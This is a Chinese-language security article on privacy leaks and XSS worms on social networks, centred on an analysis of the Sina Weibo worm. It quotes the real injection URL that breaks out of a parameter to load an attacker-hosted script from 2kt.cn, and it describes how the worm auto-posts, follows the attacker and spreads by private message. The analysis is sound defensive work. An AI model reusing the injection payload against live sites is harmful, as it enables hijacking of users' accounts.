國(guó)內(nèi)SNS網(wǎng)站個(gè)人隱私安全隱患不容忽視
6月28日晚,新浪微博遭遇到XSS蠕蟲(chóng)攻擊侵襲,在不到一個(gè)小時(shí)的時(shí)間,超過(guò)3萬(wàn)微博用戶(hù)受到該XSS蠕蟲(chóng)的攻擊。此事件給嚴(yán)重依賴(lài)社交網(wǎng)絡(luò)的網(wǎng)友們敲響了警鐘。在此之前,國(guó)內(nèi)多家著名的SNS網(wǎng)站和大型博客網(wǎng)站都曾遭遇過(guò)類(lèi)似的攻擊事件,只不過(guò)沒(méi)有形成如此大規(guī)模傳播。雖然此次XSS蠕蟲(chóng)攻擊事件中,惡意黑客攻擊者并沒(méi)有在惡意腳本中植入掛馬代碼或其他竊取用戶(hù)賬號(hào)密碼信息的腳本,但是這至少說(shuō)明,病毒木馬等黑色產(chǎn)業(yè)已經(jīng)將眼光投放到這個(gè)尚存漏洞的領(lǐng)域。
如何能夠更好地保護(hù)用戶(hù)隱私信息?安全人員首先要做的就是深入了解SNS網(wǎng)站面臨的安全問(wèn)題。通過(guò)分析國(guó)內(nèi)主流SNS網(wǎng)站,研究人員發(fā)現(xiàn)出其兩大主要安全問(wèn)題:用戶(hù)隱私保護(hù)不力和XSS蠕蟲(chóng)病毒攻擊。在此基礎(chǔ)上,我們還可以將問(wèn)題進(jìn)一步細(xì)化,如與隱私相關(guān)的信息泄露、釣魚(yú)攻擊、網(wǎng)絡(luò)詐騙等,與XSS相關(guān)的惡意代碼傳播、大范圍用戶(hù)信息竊取及基于XSS的DDoS攻擊等。下面我們結(jié)合實(shí)際情況對(duì)SNS網(wǎng)站面臨的安全問(wèn)題進(jìn)行詳細(xì)的描述和分析。
唾手可得的隱私信息
用戶(hù)隱私問(wèn)題一直是互聯(lián)網(wǎng)上一個(gè)比較敏感的話(huà)題,隨著SNS網(wǎng)站的出現(xiàn)及快速發(fā)展,用戶(hù)隱私問(wèn)題也變得異常嚴(yán)重。從目前我國(guó)SNS網(wǎng)站的服務(wù)人群來(lái)看,主要的用戶(hù)為學(xué)生、白領(lǐng)及其他一些特定的人群,且此類(lèi)網(wǎng)站大多數(shù)為強(qiáng)制實(shí)名制,因此使得此類(lèi)用戶(hù)的隱私信息更容易暴露在其他用戶(hù)面前,如果惡意黑客利用此類(lèi)信息那么后果將難以想像。我們通過(guò)人人網(wǎng)的搜索功能,獲取某一賬戶(hù)的個(gè)人信息如圖1所示。
圖1:通過(guò)人人網(wǎng)搜索到的某用戶(hù)隱私信息
從圖1可以發(fā)現(xiàn)該用戶(hù)的個(gè)人信息對(duì)外都是可見(jiàn)的,那么如果黑客結(jié)合搜索引擎進(jìn)行“人肉搜索”的話(huà),那么獲取到的將會(huì)是更多可被黑客惡意利用的敏感信息,利用用戶(hù)的個(gè)人信息或其他隱私信息,黑客便可以進(jìn)行釣魚(yú)攻擊或者欺詐等。
跳板式獲取的隱私信息
雖然某些SNS網(wǎng)站對(duì)用戶(hù)信息相關(guān)數(shù)據(jù)有完備的隱私控制策略,但是這種策略并非不能夠被黑客加以利用。在人人網(wǎng)上對(duì)用戶(hù)的信息查看時(shí),我們發(fā)現(xiàn),如果用戶(hù)設(shè)置了相應(yīng)的隱私控制策略以后,一般用戶(hù)是無(wú)法訪(fǎng)問(wèn)該用戶(hù)的個(gè)人主頁(yè)信息的,如圖2所示。
圖2:設(shè)置隱私相關(guān)策略后仍有可被黑客利用的信息
但是,從頁(yè)面中我們?nèi)匀豢梢钥吹娇梢员缓诳屠玫膬?nèi)容,那就是該用戶(hù)的好友信息,如圖2中紅框選中的部分。結(jié)合SNS網(wǎng)站所具有的極強(qiáng)交互性的特點(diǎn),可以通過(guò)該交互尋找到不同用戶(hù)之間的關(guān)系,即所謂的社交網(wǎng)絡(luò)虛擬人際關(guān)系網(wǎng),可以用圖3所示。
圖3:社交網(wǎng)絡(luò)虛擬人際關(guān)系網(wǎng)
圖中假設(shè)黑色頭像所代表的是黑客希望獲取相關(guān)隱私信息的用戶(hù),盡管黑客無(wú)法直接通過(guò)目標(biāo)任務(wù)的賬號(hào)信息獲取到數(shù)據(jù)內(nèi)容,但是通過(guò)SNS網(wǎng)站的交互性,黑客可以通過(guò)其好友賬號(hào)進(jìn)行間接滲透攻擊。當(dāng)黑客獲取到其好友賬號(hào)信息以后,不但可以正常瀏覽目標(biāo)用戶(hù)的個(gè)人主頁(yè)和個(gè)人隱私信息,還可以通過(guò)好友用戶(hù)通過(guò)發(fā)私信或郵件的方式進(jìn)行釣魚(yú)攻擊。
危機(jī)四伏的外掛程序
SNS網(wǎng)站泄露個(gè)人隱私信息不僅僅只是以上提到的兩方面,很多第三方應(yīng)用也會(huì)有不少安全問(wèn)題。例如,網(wǎng)上很多針對(duì)SNS網(wǎng)站“刷人氣”、“刷等級(jí)”外掛軟件倍受用戶(hù)青睞,而這些程序通常也會(huì)有這樣那樣的問(wèn)題。
圖4:人人網(wǎng)應(yīng)用程序列表
通過(guò)瑞星安全人員的分析發(fā)現(xiàn),網(wǎng)絡(luò)上有很大一部分外掛或輔助軟件為“偽外掛”程序,即該類(lèi)軟件根本無(wú)法實(shí)現(xiàn)“刷人氣”、“刷等級(jí)”等作用,而其主要功能是盜取用戶(hù)的賬號(hào)密碼信息等內(nèi)容。由于該類(lèi)軟件對(duì)外宣稱(chēng)實(shí)現(xiàn)的是“刷人氣”、“刷等級(jí)”的作用,所以“名正言順”地要求用戶(hù)在軟件運(yùn)行時(shí)輸入SNS網(wǎng)站的個(gè)人賬戶(hù)及密碼信息,而軟件在獲取賬號(hào)密碼信息以后除了向SNS網(wǎng)站發(fā)送該信息外,還會(huì)向黑客的服務(wù)器發(fā)送用戶(hù)的賬號(hào)和密碼信息,如圖5所示。
圖5:外掛輔助軟件盜取用戶(hù)賬號(hào)和密碼信息
在圖5所示的案例中用戶(hù)的賬號(hào)和密碼信息被提交到了黑客的網(wǎng)站服務(wù)器w#w.clickaider.net,黑客在接收到用戶(hù)賬號(hào)和密碼信息以后,就可以使用正確的賬號(hào)和密碼信息登錄,由此而帶來(lái)的危害是無(wú)法想像的。
新浪微博遭受XSS跨站腳本攻擊實(shí)例分析
相對(duì)于用戶(hù)隱私泄露,SNS網(wǎng)絡(luò)的XSS蠕蟲(chóng)的危害更大。目前,Ajax語(yǔ)言在大型交互網(wǎng)站上廣泛應(yīng)用,然而在Ajax快速流行的同時(shí),也帶來(lái)了不安全的隱患。黑客可以使用Ajax語(yǔ)言編寫(xiě)蠕蟲(chóng)病毒,實(shí)現(xiàn)病毒的幾何數(shù)級(jí)傳播,其感染速度和攻擊效果非常可怕。
XSS漏洞攻擊過(guò)程分析
那么XSS漏洞又是怎么實(shí)現(xiàn)將代碼植入到Web應(yīng)用程序中的呢?跨站腳本攻擊(Cross Site Scripting)是指攻擊者利用網(wǎng)站程序?qū)τ脩?hù)輸入過(guò)濾不足,輸入可以顯示在頁(yè)面上對(duì)其他用戶(hù)造成影響的HTML代碼,從而盜取用戶(hù)資料、利用用戶(hù)身份進(jìn)行某種動(dòng)作或者對(duì)訪(fǎng)問(wèn)者進(jìn)行病毒侵害的一種攻擊方式。
XSS通常可以分為兩大類(lèi):一類(lèi)是存儲(chǔ)型XSS,主要出現(xiàn)在讓用戶(hù)輸入數(shù)據(jù),供其他瀏覽此頁(yè)的用戶(hù)進(jìn)行查看的地方,包括留言、評(píng)論、博客日志和各類(lèi)表單等。應(yīng)用程序從數(shù)據(jù)庫(kù)中查詢(xún)數(shù)據(jù),在頁(yè)面中顯示出來(lái),攻擊者在相關(guān)頁(yè)面輸入惡意的腳本數(shù)據(jù)后,用戶(hù)瀏覽此類(lèi)頁(yè)面時(shí)就可能受到攻擊。這個(gè)流程簡(jiǎn)單可以描述為——惡意用戶(hù)的Html輸入web程序進(jìn)入數(shù)據(jù)庫(kù)web程序用戶(hù)瀏覽器。另一類(lèi)是反射型XSS,主要是將腳本加入U(xiǎn)RL地址的程序參數(shù)里,參數(shù)進(jìn)入程序后在頁(yè)面直接輸出腳本內(nèi)容,用戶(hù)點(diǎn)擊類(lèi)似的惡意鏈接就可能受到攻擊。
由此可見(jiàn),如果Web應(yīng)用程序?qū)τ脩?hù)輸入的數(shù)據(jù)信息沒(méi)有做嚴(yán)格過(guò)濾的話(huà),就會(huì)導(dǎo)致被寫(xiě)入的惡意代碼被解析并執(zhí)行,結(jié)合Ajax的異步提交功能,自然也就實(shí)現(xiàn)了在植入惡意代碼的同時(shí),又可以將惡意代碼進(jìn)行對(duì)外發(fā)送的功能,即實(shí)現(xiàn)了代碼的感染,同時(shí)也實(shí)現(xiàn)了代碼的傳播,也就形成了XSS蠕蟲(chóng)。出現(xiàn)最早也是最著名的XSS蠕蟲(chóng)病毒是MySpace的Samy XSS蠕蟲(chóng)了。
Samy蠕蟲(chóng)實(shí)例回放
MySpace支持交友功能,好友信息會(huì)顯示在個(gè)人空間的好友列表中,但是,如果想通過(guò)MySpace添加其他人為自己的好友,需要得到對(duì)方的驗(yàn)證通過(guò)才可以。2005年10月,一個(gè)名叫Samy的人在網(wǎng)上發(fā)布了一片文章,在文章中他說(shuō)找到了一種方法可以借助MySpace網(wǎng)站自身存在的漏洞實(shí)現(xiàn)自動(dòng)化添加自己到別人的空間中,并且經(jīng)過(guò)測(cè)試,在3個(gè)小時(shí)內(nèi)添加了2429個(gè)好友,同時(shí)收到了6373個(gè)來(lái)自MySpace上其他人添加自己為好友的請(qǐng)求,由此而導(dǎo)致了大量的惡意數(shù)據(jù)和垃圾信息在MySpace上傳播,對(duì)網(wǎng)站和用戶(hù)都造成了巨大損害。
最近幾年,XSS蠕蟲(chóng)在大型SNS網(wǎng)絡(luò)上爆發(fā)也很常見(jiàn),自2005年MySpace Samy XSS蠕蟲(chóng)爆發(fā)以后,2009年,著名的社交網(wǎng)絡(luò)Twitter在這一年的時(shí)間里連續(xù)6次爆發(fā)多規(guī)模傳播的XSS蠕蟲(chóng)攻擊病毒。在最近幾年,國(guó)內(nèi)大型SNS網(wǎng)站及其他一些博客網(wǎng)站也有XSS蠕蟲(chóng)爆發(fā)的記錄,如人人網(wǎng)的多次XSS蠕蟲(chóng)攻擊事件、搜狐博客網(wǎng)站的XSS蠕蟲(chóng)攻擊事件、百度空間的XSS蠕蟲(chóng)攻擊事件及最近剛剛爆發(fā)的新浪微博XSS蠕蟲(chóng)大規(guī)模攻擊事件等。在2007年10月,人人網(wǎng)爆發(fā)XSS蠕蟲(chóng)攻擊事件中,攻擊者沒(méi)有植入任何惡意代碼,所做的事情僅僅是測(cè)試一下蠕蟲(chóng)的傳播效果,其中流量效果圖如圖6所示。
圖6:人人網(wǎng)XSS蠕蟲(chóng)爆發(fā)期惡意代碼所在網(wǎng)站流量監(jiān)測(cè)狀態(tài)圖
從圖6中我們可以看到惡意攻擊者用于測(cè)試的網(wǎng)站流量在幾天時(shí)間里大增,這些天應(yīng)該是蠕蟲(chóng)感染的時(shí)間。日訪(fǎng)問(wèn)人數(shù)從0猛增到每天500人/百萬(wàn)人。也就是說(shuō),攻擊者測(cè)試的地址每天會(huì)被訪(fǎng)問(wèn)5億次,考慮到傳播過(guò)程中會(huì)存在一個(gè)人訪(fǎng)問(wèn)多次的現(xiàn)象,所以粗略估計(jì)至少有幾百萬(wàn)人受到該XSS蠕蟲(chóng)的攻擊。值得慶幸的是,本次XSS蠕蟲(chóng)攻擊事件攻擊者僅僅是為了測(cè)試蠕蟲(chóng)的傳播效果,如果將惡意掛馬行為或者是釣魚(yú)攻擊行為與XSS蠕蟲(chóng)攻擊相結(jié)合的話(huà),由此造成的損失將是巨大的。
新浪微博遭受XSS攻擊實(shí)例分析
通過(guò)以上對(duì)SNS網(wǎng)站面臨的主要問(wèn)題的了解可以發(fā)現(xiàn),一旦SNS網(wǎng)站存在安全漏洞,那么惡意黑客攻擊者通過(guò)安全漏洞可以做的事情是相當(dāng)豐富的,諸如竊取賬號(hào)密碼信息、傳播惡意代碼、盜取用戶(hù)隱私等,那么真實(shí)的此類(lèi)攻擊事件又是如何發(fā)生和進(jìn)行的呢?下面我們結(jié)合新浪微博的XSS蠕蟲(chóng)攻擊事件,對(duì)黑客惡意利用漏洞至XSS蠕蟲(chóng)大范圍擴(kuò)散的過(guò)程進(jìn)行詳細(xì)分析和描述,并對(duì)該XSS蠕蟲(chóng)的惡意腳本文件進(jìn)行一下簡(jiǎn)要的分析。
首先,黑客通過(guò)對(duì)新浪微博的分析測(cè)試發(fā)現(xiàn)新浪名人堂部分由于代碼過(guò)濾不嚴(yán),導(dǎo)致XSS漏洞的存在,并可以通過(guò)構(gòu)造腳本的方式植入惡意代碼。通過(guò)分析發(fā)現(xiàn),在新浪名人堂部分中,當(dāng)提交http://weibo.com/pub/star/g/xyyyd"><script src=//www.2kt.cn/images/t.js></script>?type=update時(shí),新浪會(huì)對(duì)該字符串進(jìn)行處理,變成類(lèi)似http://weibo.com/pub/star.php?g=xyyyd"><script src=//www.2kt.cn/images/t.js></script>?type=update,而由于應(yīng)用程序沒(méi)有對(duì)參數(shù)g做充足的過(guò)濾,且將參數(shù)值直接顯示在頁(yè)面中,相當(dāng)于 weibo.com 在頁(yè)面中嵌入了一個(gè)來(lái)自于 2kt.cn的JS腳本。該JS腳本是黑客可以控制的文件,使得黑客可以構(gòu)造任意JS腳本嵌入到weibo.com的頁(yè)面中,且通過(guò)Ajax技術(shù)完全實(shí)現(xiàn)異步提交數(shù)據(jù)的功能,進(jìn)而黑客通過(guò)構(gòu)造特定的JS代碼實(shí)現(xiàn)了受此XSS蠕蟲(chóng)攻擊的客戶(hù)自動(dòng)發(fā)微博、添加關(guān)注和發(fā)私信等操作。
然后,黑客為了使該XSS蠕蟲(chóng)代碼可以大范圍的感染傳播,會(huì)通過(guò)發(fā)私信或發(fā)微博的方式誘惑用戶(hù)去點(diǎn)擊存在跨站代碼的鏈接,尤其是針對(duì)V標(biāo)認(rèn)證的用戶(hù),因?yàn)榇祟?lèi)用戶(hù)擁有大量的關(guān)注者,所以如果此類(lèi)用戶(hù)中毒,必然可以實(shí)現(xiàn)蠕蟲(chóng)的大范圍、快速的傳播。
圖7:大量用戶(hù)中毒后發(fā)送的含毒微博信息
最后,當(dāng)大量的加V認(rèn)證賬戶(hù)和其他普通用戶(hù)中毒后,這些用戶(hù)就會(huì)通過(guò)發(fā)微博和發(fā)私信的方式將該XSS蠕蟲(chóng)向其他用戶(hù)進(jìn)行傳播,進(jìn)而導(dǎo)致了該XSS蠕蟲(chóng)的大范圍、快速的傳播與感染。
圖8:含毒微博信息的主要內(nèi)容和XSS蠕蟲(chóng)鏈接
新浪微博攻擊事件發(fā)生之后,我們第一時(shí)間發(fā)現(xiàn)了2tk.cn網(wǎng)站上面的惡意腳本,文件名為t.js,鏈接地址為 www.2kt.cn/images/t.js,經(jīng)過(guò)提取保存,腳本代碼如下:
圖9:新浪微博XSS蠕蟲(chóng)病毒代碼
通過(guò)分析發(fā)現(xiàn),雖然該XSS蠕蟲(chóng)在傳播過(guò)程中沒(méi)有插入惡意的掛馬代碼,但是卻嚴(yán)重影響了用戶(hù)對(duì)正常數(shù)據(jù)的瀏覽與訪(fǎng)問(wèn),且該XSS蠕蟲(chóng)會(huì)在用戶(hù)不知情的情況下就執(zhí)行相應(yīng)的惡意操作,因此認(rèn)為該腳本屬于惡意腳本范疇。通過(guò)進(jìn)一步詳細(xì)分析發(fā)現(xiàn)該XSS蠕蟲(chóng)執(zhí)行以下三個(gè)操作:
操作1:發(fā)表一篇微博信息,代碼如圖10所示。
圖10:XSS蠕蟲(chóng)代碼中自動(dòng)發(fā)布微博功能代碼
從代碼中我們可以看到,執(zhí)行的第一個(gè)操作即是在受到XSS蠕蟲(chóng)攻擊的用戶(hù)自己的頁(yè)面上發(fā)布一條微博,微博的題目為隨機(jī)題目,且這些題目均為目前網(wǎng)絡(luò)環(huán)境中比較熱門(mén)或有爭(zhēng)議的題目,如“郭美美事件的一些未注意到的細(xì)節(jié)”、“建黨大業(yè)中穿幫的地方”、“讓女人心動(dòng)的100句詩(shī)歌”等。如此熱門(mén)的題目也必然會(huì)引來(lái)更多的XSS蠕蟲(chóng)攻擊受害者。
操作2:就是關(guān)注惡意攻擊者的微博賬號(hào),代碼如圖11所示。
圖11:XSS蠕蟲(chóng)代碼中自動(dòng)關(guān)注惡意攻擊者微博賬號(hào)的功能代碼
從代碼中我們可以看到,第二個(gè)操作就是關(guān)注加uid為2201270010的賬戶(hù),該賬戶(hù)就為此次攻擊事件的操縱者,即名稱(chēng)為hellosamy的用戶(hù)。
操作3:通過(guò)私信的方式發(fā)送給受攻擊賬戶(hù)的好友,將這些帶毒鏈接進(jìn)行傳播,代碼如圖12所示。
圖12:XSS蠕蟲(chóng)代碼中自動(dòng)向好友發(fā)送含毒私信功能代碼
從代碼中我們可以了解到惡意攻擊者除了通過(guò)發(fā)布微博信息傳播惡意鏈接以外,還會(huì)通過(guò)私信的方式將帶有惡意鏈接的信息發(fā)送到好友賬號(hào)中,且題目仍然為上面提到的熱門(mén)話(huà)題,進(jìn)而實(shí)現(xiàn)惡意鏈接的快速傳播和感染。
SNS網(wǎng)站的用戶(hù)和流量是巨大的,同時(shí)也容易招致嚴(yán)重的安全問(wèn)題和隱患。如何能夠保護(hù)用戶(hù)的隱私信息不被竊取,保護(hù)用戶(hù)不受到惡意代碼的攻擊,這不僅僅是網(wǎng)站管理員必須關(guān)心的問(wèn)題,同時(shí)也是我們廣大SNS用戶(hù)需要關(guān)注的問(wèn)題,這些都需要管理員和用戶(hù)共同去維護(hù),保護(hù)SNS在網(wǎng)絡(luò)環(huán)境中的這一片凈土。